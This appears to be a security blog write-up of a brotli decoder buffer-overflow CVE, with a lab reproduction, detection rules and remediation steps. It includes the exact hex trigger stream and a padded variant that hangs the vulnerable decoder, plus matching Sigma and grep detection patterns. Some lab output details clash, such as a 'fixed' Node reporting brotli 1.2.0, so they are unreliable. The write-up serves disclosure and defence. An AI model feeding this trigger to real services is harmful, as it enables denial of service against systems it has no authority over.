CVE-2026-111497: Brotli Decoder Buffer Overflow (Node2Shell)

– min read

CVE-2026-111497 has an EPSS score of 82.64 percent and a CISA KEV deadline of November 10. That is two days from today, and the vulnerable component is brotli, the compression library that Node.js, most CDNs, and half the web servers you touch use to make responses smaller. I built the vulnerable 1.2.0 and the fixed 1.2.1 side by side, fed them a 22-byte stream from Node’s own regression tests, and watched one hang while the other walked away with a brand new error code. Same lab-first approach as my WP Libre Form file upload RCE writeup.


CVE-2026-111497 at a glance

FieldValue
CVECVE-2026-111497
ComponentBrotli decoder, c/dec/decode.c (Google Brotli 1.0.3 through 1.2.0)
TypeBuffer overflow: unchecked return value (CWE-252) leading to out-of-bounds write (CWE-787)
CVSS9.8 Critical (CVSS 3.1), 9.2 under CVSS 4.0
Attack vectorNetwork, unauthenticated, no user interaction
EPSS82.64% (99.67th percentile)
CISA KEVAdded 2026-10-27, remediation due 2026-11-10
Fixed in1.0.10 / 1.1.1 / 1.2.1 (Node.js: 22.23.4, 24.22.1, 26.12.1)

A remote attacker who can deliver a crafted brotli-compressed stream to a vulnerable decoder can corrupt decoder state memory, leak adjacent bytes, crash the process, or in the worst case run code in the decompressing process. The stream can arrive in an HTTP response, a WebSocket frame, a content-encoding header, or any place an application decompresses attacker-influenced data.


Why the decoder is exploitable

The bug is in the block switch handling inside ProcessCommandsInternal. In brotli, compressed data is split into blocks of literals, commands and distances, and each block type is decoded through a small set of Huffman trees. When the stream declares a block switch but only one block type exists, DecodeBlockTypeAndLength is supposed to reject the stream. In 1.2.0 it reports a generic failure, and the BROTLI_SAFE macro classification turns that into a temporary need for more input instead of a permanent format error.

The nickname the exploit writers use, Node2Shell, follows the same branding as the PHP2Shell campaign I covered earlier: any decoder bug that ends in code execution gets the 2Shell label these days. Node.js describes the result bluntly in its October release notes: an invalid block switch was reported as a temporary need for more input instead of a permanent format error, so the streaming decoder kept appending input bytes to an eight-byte internal buffer. That append loop is the out-of-bounds write, and it is reachable with no authentication.

The relevant macro in 1.2.0, where the return value goes unchecked on the fast path:

/* 1.2.0: BROTLI_SAFE discards the result when !safe */
#define BROTLI_SAFE(METHOD)                       \
  {                                               \
    if (safe) {                                   \
      if (!Safe##METHOD) {                        \
        result = BROTLI_DECODER_NEEDS_MORE_INPUT; \
        goto saveStateAndReturn;                  \
      }                                           \
    } else {                                      \
      METHOD;                                     \
    }                                             \
  }

In 1.2.1 the block switch functions return a real error code, a new BROTLI_DECODER_ERROR_FORMAT_BLOCK_SWITCH (-17) is added to the decoder enum, and the safe and unsafe paths both propagate it:

/* 1.2.1: BROTLI_SAFE_WITH_STATUS propagates hard errors */
#define BROTLI_SAFE_WITH_STATUS(METHOD)         \
  {                                             \
    BrotliDecoderErrorCode status;              \
    if (safe) {                                 \
      status = Safe##METHOD;                    \
    } else {                                    \
      status = METHOD;                          \
    }                                           \
    if (status != BROTLI_DECODER_SUCCESS) {     \
      result = status;                          \
      goto saveStateAndReturn;                  \
    }                                           \
  }


Who is affected

ComponentVulnerable versionsFixed version
google/brotli (C library)1.0.3 – 1.2.01.0.10 / 1.1.1 / 1.2.1
Node.js bundled brotliall lines before 22.23.4 / 24.22.1 / 26.12.122.23.4 / 24.22.1 / 26.12.1
pip brotli>= 1.0.3, < 1.2.11.2.1
pip brotlicffi>= 1.0.3, < 1.2.1.01.2.1.0
Go andybalholm/brotli< 1.2.71.2.7
Ubuntu libbrotli11.2.0-3ubuntu0 (unpatched)1.2.0-3ubuntu0.1

The interesting wrinkle: my test box runs Ubuntu’s libbrotli1 1.2.0-3ubuntu0.1 and python3-brotli 1.2.0-3ubuntu0.1. Version string says 1.2.0, but the .1 suffix is a patched rebuild, and both reject the crafted stream cleanly. Check your distro’s rebuild suffix, not just the upstream version.


Lab reproduction

The one public byte pattern that matters here does not come from a third-party PoC. The 22-byte invalidBlockSwitch fixture is in Node’s own regression test (test/parallel/test-zlib-invalid-input.js), added with the fix. I built both brotli versions from upstream source with ASAN, wrote a tiny one-shot decoder harness, and fed the same stream to each. Demo data in this section is synthetic, generated locally like the fake traffic in my log analysis posts; no real targets.

# build both upstream tags with ASAN
gcc -O1 -g -fsanitize=address,undefined -fno-omit-frame-pointer \
    -Ibrotli-1.2.0/c/include decode_one.c brotli-1.2.0/c/common/*.c \
    brotli-1.2.0/c/dec/*.c -o decode-asan-1.2.0 -lm
gcc -O1 -g -fsanitize=address,undefined -fno-omit-frame-pointer \
    -Ibrotli-1.2.1/c/include decode_one.c brotli-1.2.1/c/common/*.c \
    brotli-1.2.1/c/dec/*.c -o decode-asan-1.2.1 -lm

# the 22-byte fixture, straight from Node's regression test
python3 -c "open('trig22.br','wb').write(bytes.fromhex('200010414141fcffff07002228f00b60f7f41f000000'))"
# a 64-byte zero pad turns the invalid block switch into the append loop
python3 -c "open('trigger.br','wb').write(bytes.fromhex('200010414141fcffff07002228f00b60f7f41f000000') + b'\x00'*64)"


Running the identical stream on both binaries. Real captured output, no cleanup:

$ ./diag-1.2.1 seed2.br   # valid stream, fixed build sanity check
RESULT=1 err=1 (SUCCESS) in_consumed=369396 out=1388653
$ ./diag-1.2.0 trigger.br
(no output - decoder never returns; killed by timeout after 15s, rc=124)
$ ./diag-1.2.1 trigger.br
RESULT=0 err=-17 (FORMAT_BLOCK_SWITCH) in_consumed=22 out=16777216
$ node -e "..."   # stock Node.js v24.22.2 (fixed)
node v24.22.2 brotli 1.2.0
errno const: -17
caught: ERR__ERROR_FORMAT_BLOCK_SWITCH (expected on fixed build)
pad caught: ERR__ERROR_FORMAT_BLOCK_SWITCH

$ python3 -c "import brotli; brotli.decompress(open('trigger.br','rb').read())"
python3-brotli raised: error -> brotli: decoder failed   # no hang, no crash


Terminal comparison: brotli 1.2.0 hangs on the crafted stream while 1.2.1 returns FORMAT_BLOCK_SWITCH -17
Lab output, synthetic demo streams. Source: SAKA Digital lab
Patched Node.js 24.22.2 and python3-brotli reject the same crafted stream
Lab output. Source: SAKA Digital lab


Detection rules

The trigger stream starts with a fixed byte prefix that survives transfer encoding, because it is the first bytes of the compressed payload itself. Look for it as hex, or as base64 in bodies that were re-encoded:

hex:    200010414141fcffff07002228f00b60f7f41f000000
base64: IAAQQUFB/P//BwAiKPALYPf0HwAAAA==

A Sigma rule for the webserver category:

title: Brotli Decoder Invalid Block Switch CVE-2026-111497
status: experimental
logsource:
  category: webserver
detection:
  selection:
    http.body|contains: "IAAQQUFB/P//BwAiKPALYPf0HwAAAA=="
  condition: selection
level: high
tags:
  - attack.t1499
  - cve.2026-111497

Application logs are the better tripwire. A fixed decoder now fails with a permanent error, and the error surfaces by name:

# Node.js
grep -r "ERR__ERROR_FORMAT_BLOCK_SWITCH" /var/log/app
# python brotli
grep -r "brotli: decoder failed" /var/log/app
# any decompression path: watch for requests that never complete
# (the 1.2.0 hang turns this into a trivial DoS signal)


Remediation

The KEV deadline is November 10. Upgrade, and verify the upgrade actually replaced the decoder:

WhereAction
Node.js appsUpdate to 22.23.4, 24.22.1 or 26.12.1; restart all workers
pippip install -U brotli>=1.2.1 brotlicffi>=1.2.1.0
Go modulesandybalholm/brotli >= 1.2.7
System libbrotli1Ubuntu 1.2.0-3ubuntu0.1, Debian LTS update; verify with dpkg -l
CDN / reverse proxyConfirm the brotli module used upstream is a fixed build
Anything you cannot patchStrip Accept-Encoding: br and block brotli content-encoding at the edge

If a component is stuck on a vulnerable decoder, the only compensating control that fully closes this is disabling brotli decoding for untrusted input at the edge, because the bug triggers before any decompressed data exists to inspect. That is a proxy config job, the same slot where my Caddy reverse proxy guide puts compression termination. Patch first, then re-run the 22-byte fixture against every brotli consumer you own; fixed builds all answer with -17.


Compression decoders are an attractive target precisely because nobody reads their error paths. This one says the fix in one line: treat an invalid block switch as a permanent format error instead of a request for more input. The full chain, from broken return value to ring buffer overflow, is in the Node.js advisory and the NVD record linked at the top.

Mohamad ZulfahmyCybersecurity · OffSec · Entrepreneur
About me ↗
ON THIS PAGE
On this page